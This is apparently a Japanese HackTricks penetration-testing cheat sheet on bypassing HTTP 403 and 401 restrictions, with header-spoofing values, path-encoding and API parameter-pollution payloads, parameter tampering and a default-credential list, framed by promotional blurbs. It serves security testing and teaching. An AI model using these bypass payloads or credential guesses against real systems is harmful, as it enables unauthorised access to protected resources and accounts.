403 & 401 Bypasses

htARTE(HackTricks AWS Red Team Expert)を使用して、ゼロからヒーローまでAWSハッキングを学ぶ

HackTricks をサポートする他の方法:

脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでもフルペネテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してもっと深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。

HTTP動詞/メソッドのファジング

異なる動詞を使用してファイルにアクセスしてみてください: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • 応答ヘッダーを確認し、情報が提供される可能性があります。たとえば、Content-Length: 55HEAD 動詞が情報にアクセスできることを示す 200 応答 がある場合、情報を抽出する方法を見つける必要があります。

  • X-HTTP-Method-Override: PUT のようなHTTPヘッダーを使用すると、使用される動詞を上書きできます。

  • TRACE 動詞を使用し、非常に幸運な場合、応答に 中間プロキシによって追加されたヘッダー も表示されるかもしれません。

HTTPヘッダーファジング

  • Hostヘッダーを任意の値に変更してみてください(ここで機能した

  • リソースにアクセスするために 他のユーザーエージェントを使用 してみてください。

  • HTTPヘッダーをファジング:HTTPプロキシ ヘッダー、HTTP認証の基本的なNTLMブルートフォース(わずかな組み合わせのみ)およびその他のテクニックを試してみてください。これらすべてを行うために、fuzzhttpbypass というツールを作成しました。

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

パスが保護されている場合、次のヘッダーを使用してパス保護をバイパスできます:

  • X-Original-URL: /admin/console

  • X-Rewrite-URL: /admin/console

  • ページが プロキシの背後にある場合、おそらくプライベート情報にアクセスできないのはプロキシのせいです。HTTPリクエストスマグリング または hop-by-hopヘッダー を悪用してみてください。

  • 異なる応答を探すために 特別なHTTPヘッダー をファジングしてください。

  • HTTPメソッド をファジングしながら 特別なHTTPヘッダー をファジングしてください。

  • Hostヘッダーを削除して、保護をバイパスできるかもしれません。

パスのファジング

/path がブロックされている場合:

  • /%2e/path _を使用してみてください(アクセスがプロキシによってブロックされている場合、これにより保護がバイパスされる可能性があります)。_** /%252e**/path (ダブルURLエンコード) も試してみてください

  • Unicodeバイパス: /%ef%bc%8fpath(URLエンコードされた文字は "/") なので、エンコードを戻すと //path になり、すでに /path 名のチェックをバイパスしているかもしれません

  • その他のパスバイパス:

  • site.com/secret –> HTTP 403 Forbidden

  • site.com/SECRET –> HTTP 200 OK

  • site.com/secret/ –> HTTP 200 OK

  • site.com/secret/. –> HTTP 200 OK

  • site.com//secret// –> HTTP 200 OK

  • site.com/./secret/.. –> HTTP 200 OK

  • site.com/;/secret –> HTTP 200 OK

  • site.com/.;/secret –> HTTP 200 OK

  • site.com//;//secret –> HTTP 200 OK

  • site.com/secret.json –> HTTP 200 OK (ruby)

  • 以下の状況で このリスト を使用してください:

  • /FUZZsecret

  • /FUZZ/secret

  • /secretFUZZ

  • その他のAPIバイパス:

  • /v3/users_data/1234 --> 403 Forbidden

  • /v1/users_data/1234 --> 200 OK

  • {“id”:111} --> 401 Unauthriozied

  • {“id”:[111]} --> 200 OK

  • {“id”:111} --> 401 Unauthriozied

  • {“id”:{“id”:111}} --> 200 OK

  • {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON Parameter Pollution)

  • user_id=ATTACKER_ID&user_id=VICTIM_ID (Parameter Pollution)

パラメータ操作

  • パラメータ値を変更:id=123 --> id=124

  • URLに追加のパラメータを追加:?id=124 —-> id=124&isAdmin=true

  • パラメータを削除

  • パラメータを再配置

  • 特殊文字を使用

  • パラメータで境界テストを実行 — -234099999999 のような値を提供します(例示的な値)。

プロトコルバージョン

HTTP/1.1を使用している場合は、1.0を試してみるか、さらに2.0をサポートしているかをテストします。

その他のバイパス

  • ドメインのIPまたはCNAMEを取得し、直接接続を試みる

  • サーバーに負荷をかけるために一般的なGETリクエストを送信してみる(Facebookで機能した例)。

  • プロトコルを変更:httpからhttpsに、またはhttpsからhttpに変更

  • https://archive.org/web/にアクセスし、過去にそのファイルが世界中でアクセス可能だったかどうかを確認します。

ブルートフォース

  • パスワードを推測:以下の一般的な資格情報をテストします。被害者について何か知っていますか?またはCTFチャレンジ名は?

  • ブルートフォース: 基本認証、ダイジェスト認証、NTLM認証を試してみる。

一般的な資格情報
admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

自動ツール

脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ。レコンからレポート作成まで、20以上のツールと機能を備えた完全なペネトレーションテストをどこからでも実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してより深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricks をサポートする他の方法:

Last updated